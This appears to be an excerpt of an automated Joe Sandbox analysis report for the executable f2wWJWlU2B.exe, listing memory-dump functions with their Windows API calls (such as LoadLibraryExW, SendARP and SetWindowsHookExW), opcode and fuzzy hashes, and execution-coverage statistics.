DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0182D8D6,?,?,?,?,?), ref: 0182D997

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: dca07ab0957171a5a63f1daa887da955c214bce9a0b15fa95ae508e90698a9af
Instruction ID: 33093764f4b0781c654b628e6028933e0bef7789aa41f964213cdf12c7b864cf
Opcode Fuzzy Hash: dca07ab0957171a5a63f1daa887da955c214bce9a0b15fa95ae508e90698a9af
Instruction Fuzzy Hash: E52105B5900258DFDB10CF9AD584ADEBFF4EB48320F14841AE914A7210C374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0182AE78 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0182B6B1,00000800,00000000,00000000), ref: 0182B8C2

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 947e4a8b50e17ecdb6edd63857828f3e6484551b2b767b0eac7260b61af98a43
Instruction ID: beefc9d42faaaa90d55702b5905378b836d186ff95e310c1317e314c786bf120
Opcode Fuzzy Hash: 947e4a8b50e17ecdb6edd63857828f3e6484551b2b767b0eac7260b61af98a43
Instruction Fuzzy Hash: EA1117B6D002598FDB10CF9AC444ADEFBF4EB48360F14842ED919A7600C3B4A985CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0182B850 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0182B6B1,00000800,00000000,00000000), ref: 0182B8C2

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 87178a0e10c32c8b9c1002229d2ca668c367cc94c1ae4fca504b326fffec45f4
Instruction ID: bbaf36b20f5ecf5ce1ba230ccd04903119fbd41703777be90bef467d6c8c32e7
Opcode Fuzzy Hash: 87178a0e10c32c8b9c1002229d2ca668c367cc94c1ae4fca504b326fffec45f4
Instruction Fuzzy Hash: 321117B6C012598FDB10CF9AD544ADEFBF4EB88310F14842ED819A7600C774A585CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 018278A1 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0182792A

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 2c521e08d2b507fdac598b2f921865b0b24990c0b394f8bbe73815e55593e9ad
Instruction ID: 9007aaf677282d317254af4153887311e7dd28ef2ea94eaabc2c76075b3c080a
Opcode Fuzzy Hash: 2c521e08d2b507fdac598b2f921865b0b24990c0b394f8bbe73815e55593e9ad
Instruction Fuzzy Hash: EC215871A11359CFDB61CFAAC58879ABFF4FB48324F10846AD845E2241C7786584CF65

Uniqueness

Uniqueness Score: -1.00%

Function 018278B0 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0182792A

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 07d2c5ed9c25313072dee721204d442793c6f95fe22a069b6d050e2e25894ae8
Instruction ID: dec8350e517758e826de6411874ad5b33808f5944a5eaa4f5738b904853a01e6
Opcode Fuzzy Hash: 07d2c5ed9c25313072dee721204d442793c6f95fe22a069b6d050e2e25894ae8
Instruction Fuzzy Hash: 21116D71A10359CFDB51CFAAC54879EBBF4FB48324F10842AD805E3240C779A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01827B60 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 01827BD5

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: d7894272b9966ea1d7c6c14cda851ffcff85cfd87423bf0c8bd85f70a070030a
Instruction ID: 605f0a2052f112098cdffb38b051a9ba051047e3261eeb24347ea78f0e7bb7b2
Opcode Fuzzy Hash: d7894272b9966ea1d7c6c14cda851ffcff85cfd87423bf0c8bd85f70a070030a
Instruction Fuzzy Hash: F71179B09103198FDB21DFAED68979ABFF4EB18314F108429D905E3240D778A684CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0182B5D0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0182B636

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9b4731086b9e7176cf298f437feca74c655301e6acec598ac3ae13d9bd5af29b
Instruction ID: 867ee02f78db15cfee27e58961c260c31e928a8ecdf85cd84514bdf803fbc571
Opcode Fuzzy Hash: 9b4731086b9e7176cf298f437feca74c655301e6acec598ac3ae13d9bd5af29b
Instruction Fuzzy Hash: DB11E3B5C016598FDB20CF9AC544ADEFBF4AF48324F14851AD819B7610C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 015ED43C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359030801.00000000015ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 015ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15ed000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c2481cb8365d24ac2176c474713c1f2a23b853cb8fc8d48c45db3e9cf1089cf
Instruction ID: cc5009e5cd67e19ce0efc8bf37289cc33fcd5b83054eb3299fa1a83a58b9bd0b
Opcode Fuzzy Hash: 9c2481cb8365d24ac2176c474713c1f2a23b853cb8fc8d48c45db3e9cf1089cf
Instruction Fuzzy Hash: 05212171900344EFDB09DF48C9C4B5ABFB1FB94324F208969E8090F246C376E446C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 015ED528 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359030801.00000000015ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 015ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15ed000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dabe4346efd730943377ececa31259db1a2b3017f22daa7f610d57ea09f280a
Instruction ID: 936fec02c05059a3882fab2a49a54a3565342e053ea818f2617275a13fa9d05d
Opcode Fuzzy Hash: 1dabe4346efd730943377ececa31259db1a2b3017f22daa7f610d57ea09f280a
Instruction Fuzzy Hash: CB21C872904244DFDB19DF58D9C8B2ABFF5FB84328F24896AE9050F246C336D456C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 015FD060 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359135632.00000000015FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15fd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84f781e75ee1f91b52de6db28e706c38ab24521e60cdf250f45d8d9a29c5c7eb
Instruction ID: 886cdb136e4d2dd0df731f03d06596cc90f2db8cb9695a03f7da3f3c8845610f
Opcode Fuzzy Hash: 84f781e75ee1f91b52de6db28e706c38ab24521e60cdf250f45d8d9a29c5c7eb
Instruction Fuzzy Hash: C32181754083809FD7028F64D980B15BFB1FF46224F28C5EAD9488F2A7C33A9856CB61

Uniqueness

Uniqueness Score: -1.00%

Function 015FD09C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359135632.00000000015FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15fd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c11104f74617bfe9a4a5e405cd2eef5fe6f1f12987b4af74da620540250291e7
Instruction ID: de29e7ef713cfc215d79ebdb6b6c7f91015cb4ea44505cbeda57e7a9ccc0b79b
Opcode Fuzzy Hash: c11104f74617bfe9a4a5e405cd2eef5fe6f1f12987b4af74da620540250291e7
Instruction Fuzzy Hash: 2621F275504244EFDB15DF58D9C0F2ABBB5FB84314F24CA6DEA094F246C33AD846CA61

Uniqueness

Uniqueness Score: -1.00%

Function 015FD254 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359135632.00000000015FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15fd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f37506eb655b4250f60d57012cd335ca129243b2ad1e3f495c48b2fba9f82889
Instruction ID: 2dcedaccf68296ab8790db04ffe4561a0713161c531c09b6fb08169371a22a8a
Opcode Fuzzy Hash: f37506eb655b4250f60d57012cd335ca129243b2ad1e3f495c48b2fba9f82889
Instruction Fuzzy Hash: 1A210775604340DFDB15CF58D5C0B2ABBB5FB44324F24C96DDA494F286C33AD846CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 015ED437 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359030801.00000000015ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 015ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15ed000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d2f0100e3109f4613dfdff40d42613bb56894c0d784d201462b3ed20c718eb
Instruction ID: 004685cb14fd49b01d535b837539b0215a3fc74c58e8f0145d10cacaad656d9c
Opcode Fuzzy Hash: 29d2f0100e3109f4613dfdff40d42613bb56894c0d784d201462b3ed20c718eb
Instruction Fuzzy Hash: 0711DF76804280DFCB16CF04D9C4B5ABFB2FB84324F24C6A9D8044F616C336D456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 015ED523 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359030801.00000000015ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 015ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15ed000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d2f0100e3109f4613dfdff40d42613bb56894c0d784d201462b3ed20c718eb
Instruction ID: 3fa54dd25632d2fa74397162c9580ead1aad586fd77f25db23aeda8059cb1cda
Opcode Fuzzy Hash: 29d2f0100e3109f4613dfdff40d42613bb56894c0d784d201462b3ed20c718eb
Instruction Fuzzy Hash: A811D376904280CFDB16CF54D9C4B1ABFB1FB84324F2486AAD8490F656C336D456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 015FD24F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359135632.00000000015FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15fd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f45dc8ffff706fb05bcde3a42111e7466e20ebf3dc7f5347bf588368a02ed7e4
Instruction ID: 96e68a698f2975a77c1663206cd3333596af8715b2ab32524c9a8e078180cb42
Opcode Fuzzy Hash: f45dc8ffff706fb05bcde3a42111e7466e20ebf3dc7f5347bf588368a02ed7e4
Instruction Fuzzy Hash: 21117C75504280DFDB12CF54D5C4B19BBB1FB44224F24C6ADDA494B696C33AD44ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 015ED745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359030801.00000000015ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 015ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15ed000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69dd99c0b7a88ba4f16b42833856aae44fe53c75cd7746ea81d3c1444cbc2730
Instruction ID: 6d22e98b617f41dbc7e37308c969f5adfeac2e7ef8daf675f97dde2d3988b9e8
Opcode Fuzzy Hash: 69dd99c0b7a88ba4f16b42833856aae44fe53c75cd7746ea81d3c1444cbc2730
Instruction Fuzzy Hash: B201F7328443C09AE7154B5DCC88B6AFFE8FF41734F08855AED051E246C379A840C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 015ED744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359030801.00000000015ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 015ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15ed000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 559c1b6d95996e0be1cc25cee2902cdb1f94e5d35970065a66d1636a6f61991c
Instruction ID: 4c347b276b80e433d8050635551c8dda196ecfb0c2cb3fd37c403251e1052a85
Opcode Fuzzy Hash: 559c1b6d95996e0be1cc25cee2902cdb1f94e5d35970065a66d1636a6f61991c
Instruction Fuzzy Hash: 63F062728443849EE7158F1ACCC8B66FFE8EB81634F18C55AED485F296C3799844CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0182E25C Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97d75c3611ff040b462a25c24c94e24b32b9591c5b669af99bc96ce6d0c8af80
Instruction ID: 119615cd11a75495ab6a49558d805808aa18bb91f7d0592b654b94c25a1985bb
Opcode Fuzzy Hash: 97d75c3611ff040b462a25c24c94e24b32b9591c5b669af99bc96ce6d0c8af80
Instruction Fuzzy Hash: 52A17232E1022A8FCF16DFA9C8445DDBBB2FF85300B15856AE905FB261DB71AA45CF40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: f2wWJWlU2B.exePID: 1876, Parent PID: 3616COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	88
Total number of Limit Nodes:	6

Executed Functions

Function 0193B772 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0193B9C6

Memory Dump Source

Source File: 00000005.00000002.578660599.0000000001930000.00000040.00000800.00020000.00000000.sdmp, Offset: 01930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1930000_f2wWJWlU2B.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f529851c49c04b46b46b083c79026057d35bf24fe932867416eef0cccf82b387
Instruction ID: 8337379b82a1b27914a641fd78523800502f17f327e92dbf0a4dd0e6140bf558
Opcode Fuzzy Hash: f529851c49c04b46b46b083c79026057d35bf24fe932867416eef0cccf82b387
Instruction Fuzzy Hash: 028113B0A00B058FD724DF6AD58476ABBF5FF88304F10892ED48AD7A50D774E94A8B91

Uniqueness

Uniqueness Score: -1.00%

Function 0193CE98 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0193CFAA

Memory Dump Source

Source File: 00000005.00000002.578660599.0000000001930000.00000040.00000800.00020000.00000000.sdmp, Offset: 01930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1930000_f2wWJWlU2B.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 30875f1e3885fa3ed260380036f6c7764c381bc1cf193bc1b6a0a0f769016d5f
Instruction ID: b19ed3504b172137c6ad884a9fefd45b66fc388f2aae1d1a5b22aed737f44ee5
Opcode Fuzzy Hash: 30875f1e3885fa3ed260380036f6c7764c381bc1cf193bc1b6a0a0f769016d5f
Instruction Fuzzy Hash: C941ADB1D103099FDB14CF9AC984ADEBBB5FF88710F64812AE819BB210D7749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 017E9DBF Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.576453320.00000000017E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_17e0000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0506e0c115380b5d6807de5777c1a20a819830b39297841889ee489a502e51d3
Instruction ID: 2b3839aaf8846a8c47d806ddd10d14d0b2fec3a93e7ecbde49014033bcfa8ba5
Opcode Fuzzy Hash: 0506e0c115380b5d6807de5777c1a20a819830b39297841889ee489a502e51d3
Instruction Fuzzy Hash: 2641BF728053489FCB11DFA9C889ADEBFF0FF09314F04846ED589AB251D774A409CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0193B3BC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0193F6C1

Memory Dump Source

Source File: 00000005.00000002.578660599.0000000001930000.00000040.00000800.00020000.00000000.sdmp, Offset: 01930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1930000_f2wWJWlU2B.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 31548d22a97850e4aa43512fbf036d06019b317d5b4f306bc3dee87e7236b648
Instruction ID: f8dd982e611ab7ad5188b9d03cae236d5a6a2f8020a39afade84e1f25eafaf4f
Opcode Fuzzy Hash: 31548d22a97850e4aa43512fbf036d06019b317d5b4f306bc3dee87e7236b648
Instruction Fuzzy Hash: DF414BB59003099FDB14CF99C488AAAFBF5FF88318F248959D519A7321D374A841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017E9EAC Relevance: 1.6, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendARP.IPHLPAPI(00000000,00000000,00000000,?), ref: 017EF6F2

Memory Dump Source

Source File: 00000005.00000002.576453320.00000000017E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_17e0000_f2wWJWlU2B.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: 520cc9f19c3016313d1bdd1034c564133809149ccc82cfe95b3c2f3cec86d658
Instruction ID: d40fc9e3fc6173d3888f9b6a9ac7188946c0a26cdf24c4619f5ff3708dcb728b
Opcode Fuzzy Hash: 520cc9f19c3016313d1bdd1034c564133809149ccc82cfe95b3c2f3cec86d658
Instruction Fuzzy Hash: 5A3124B19053489FCB11CFAAC888B9EBFF4EB09314F14846AE449AB651D374A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 017E9EEF Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendARP.IPHLPAPI(00000000,00000000,00000000,?), ref: 017EF6F2

Memory Dump Source

Source File: 00000005.00000002.576453320.00000000017E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_17e0000_f2wWJWlU2B.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: b010310b4a9bfaadccf3801203c3ceeae0e5d0945515909830c1ac2e6abeff59
Instruction ID: c6dca6afc28d082555346dfab6da1d2bf3e8e31dbdf7199da97172ecbd29e070
Opcode Fuzzy Hash: b010310b4a9bfaadccf3801203c3ceeae0e5d0945515909830c1ac2e6abeff59
Instruction Fuzzy Hash: 023125B29013489FCB10DFAAD888BDEBFF4FF59314F10842AE459AB650D374A544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 017E9F0C Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendARP.IPHLPAPI(00000000,00000000,00000000,?), ref: 017EF6F2

Memory Dump Source

Source File: 00000005.00000002.576453320.00000000017E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_17e0000_f2wWJWlU2B.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: 5967fdc1cfcfe28e11484f3cd7fa641e3a9680c65c23ce6b536d961bed7b42a9
Instruction ID: 88cab7fa0137c3b19fe637a6801d95a8cf57cb798b5fac5867f31297b3493b0b
Opcode Fuzzy Hash: 5967fdc1cfcfe28e11484f3cd7fa641e3a9680c65c23ce6b536d961bed7b42a9
Instruction Fuzzy Hash: C421B5B59002189FCB10CFAAD988BDEFBF4FB48314F10842AE519A7650D774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 017EF661 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendARP.IPHLPAPI(00000000,00000000,00000000,?), ref: 017EF6F2

Memory Dump Source

Source File: 00000005.00000002.576453320.00000000017E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_17e0000_f2wWJWlU2B.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: 2aacc1e162cce21c0dd9fc158ba25a39366722dc9ce7d26f963fcc02d9a7c7dd
Instruction ID: 99c94eba802ec3d07a617326fd0b8a96555df15ec512812efb9cab96b37e4732
Opcode Fuzzy Hash: 2aacc1e162cce21c0dd9fc158ba25a39366722dc9ce7d26f963fcc02d9a7c7dd
Instruction Fuzzy Hash: 4421F3B19002089FCB10DFAAD989BDEFBF4FB48310F50842AE818A7750D374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01932B00 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 01932B7B

Memory Dump Source

Source File: 00000005.00000002.578660599.0000000001930000.00000040.00000800.00020000.00000000.sdmp, Offset: 01930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1930000_f2wWJWlU2B.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: d1828b996b9a9473755f66561a9b183ac4b07d34f8fe949ea1b1bd9c0c7132de
Instruction ID: d45c12c2837381229b979cd380f02b7dd54f78044c1b25f13c9c09c2533bd26f
Opcode Fuzzy Hash: d1828b996b9a9473755f66561a9b183ac4b07d34f8fe949ea1b1bd9c0c7132de
Instruction Fuzzy Hash: 9221E4B5D002099FDB14DF9AD944BEEBBF5FB88710F14842AD419A7250C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0193B130 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0193BA41,00000800,00000000,00000000), ref: 0193BC32

Memory Dump Source

Source File: 00000005.00000002.578660599.0000000001930000.00000040.00000800.00020000.00000000.sdmp, Offset: 01930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1930000_f2wWJWlU2B.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f09a5cb9f25ded0ca315767854eccb3b3a724062fc9e8e8804c087bf9e63c629
Instruction ID: ecb241ed531767e0b14582c21053bcc2fad723c877a82e6f5c71fa4f75c6c627
Opcode Fuzzy Hash: f09a5cb9f25ded0ca315767854eccb3b3a724062fc9e8e8804c087bf9e63c629
Instruction Fuzzy Hash: 0811D3B6D003499FDB24CF9AC548ADEFBF8EB88314F14852AD51AB7600C774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0193B960 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0193B9C6

Memory Dump Source

Source File: 00000005.00000002.578660599.0000000001930000.00000040.00000800.00020000.00000000.sdmp, Offset: 01930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1930000_f2wWJWlU2B.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3fd359d5921a6f81fc128fff42666c818a9af319390d414aec14687617f18127
Instruction ID: aed16d9f03269657f0bd76415688a432f2bb6b5f9ae5854909e99f2794fb89b3
Opcode Fuzzy Hash: 3fd359d5921a6f81fc128fff42666c818a9af319390d414aec14687617f18127
Instruction Fuzzy Hash: 3411CDB6C002498FDB10CF9AD548A9EFBF8EB88224F14846AD459B7600C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 018BD4EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.577836820.00000000018BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_18bd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a16e41ef07c9cd3f7b42176f64980ea0a25836de3da3cb441933e3418943d086
Instruction ID: 8dc0611b74886fae3b8cdfa5fda1329ea2deacd531bb6b188b62aeaed21e9dc2
Opcode Fuzzy Hash: a16e41ef07c9cd3f7b42176f64980ea0a25836de3da3cb441933e3418943d086
Instruction Fuzzy Hash: A82125B2504344EFDB05DF98D9C0B66BF65FB8832CF248669E8058B306C33AD546CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 018CD384 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.577997677.00000000018CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_18cd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5933416e8c99b462ace624a57667623c5f110b39aec98de510d0872a27ab3c6
Instruction ID: 8e292f8937a73482f9bd99b5e910ca2fe44ab51eca592c4b818b6aa7897647cd
Opcode Fuzzy Hash: e5933416e8c99b462ace624a57667623c5f110b39aec98de510d0872a27ab3c6
Instruction Fuzzy Hash: 22213771504244DFDB05EF68D5C0B26FB61FB44B18F20CA7DE9098B246C33AE846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 018BD4E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.577836820.00000000018BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_18bd000_f2wWJWlU2B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d2f0100e3109f4613dfdff40d42613bb56894c0d784d201462b3ed20c718eb
